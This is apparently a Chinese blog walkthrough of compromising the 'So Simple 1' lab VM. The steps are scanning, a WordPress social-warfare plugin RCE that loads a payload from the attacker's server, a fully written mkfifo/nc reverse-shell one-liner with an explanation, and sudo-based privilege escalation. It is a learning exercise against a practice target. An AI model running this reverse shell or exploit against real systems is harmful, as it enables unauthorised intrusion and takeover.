前言
发现前两天下了个靶机还没做,今天就做一下,马上要开学了,有点期待。
正文
下载靶机So Simple 1
到本地,本来是用VMware打开的,但是发现有点问题,就用VirtualBox了,值得注意的一点是VirtualBox要用管理员权限打开,这里我被坑了好久,还有一点就是VirtualBox没有扩展下载的话就把靶机的USB设备调到1.1(OHCI),要不打不开。
这里网络设置是,kali我是用VMware打开,靶机用的VirtualBox,网络设置都设置为桥接模式,和物理机同在一个网段。
kali:192.168.0.105
靶机:192.168.0.100
靶机端口扫描结果开启了22和80端口
目录扫描
dirb
扫描结果没啥特殊的,唯一值得关注的是靶机有wordpress,在路径http://192.168.0.100/wordpress/
目录下,这里用wpscan
扫描:
wpscan --url http://192.168.0.100/wordpress
发现插件social-warfare
版本有些低,网上查一查,果真查到了RCE漏洞
漏洞利用
通过给的POC验证一下:
首先在本地写好payload,用python搭建一个HTTP服务:
然后查看http://192.168.0.100/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.0.105:8000/payload.txt
POC验证成功
然后通过RCE来反弹一个shell,先写一个反弹shell,然后在本地监听
这里的payload为:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.0.105 9527 >/tmp/f
解释一下,这里先用mkfifo建立了一个管道,然后使用cat将管道里面的内容输出传递给/bin/bash,bash会执行管道里面的命令并将标准输出和标准错误通过nc传递给远程主机,管道的标准输入也重定向到nc远程主机的输出上,形成了一个回路
用户权限获取
根据提示,这个靶机有三个flag,两个用户和一个root,那么就要获取到这三个权限来查看flag,先从用户看:
两个用户,一个max一个steven
max用户的ssh私钥设置不当,www-data用户可以使用cat查看到,将ssh私钥复制到本地,通过ssh连接到靶机,获取到max用户权限(要设置文件权限才可以使用)
max的flag
使用sudo -l
发现steven用户可以免密使用service服务,使用service切换到steven用户的bash
获取到steven的flag
root权限获取
同样的通过sudo -l
看到可以使用root权限免密运行/opt/tools/server-health.sh
,但是tools文件夹并不存在
可以自己创建该文件,写入一个反弹shell
在本地进行监听,成功获取root用户的flag
总结
这次的靶机也很简单,但是实际上来说,黑灯瞎火去找,或许会没有思路,只能说这次靶机的思路很骚,或许是我少见多怪,其中也学习到了很多东西,包括wordpress插件的RCE漏洞利用,使用ssh私钥登陆远程主机,sudo设置中免密配置不当可以造成越权,反弹shell的原理以及使用。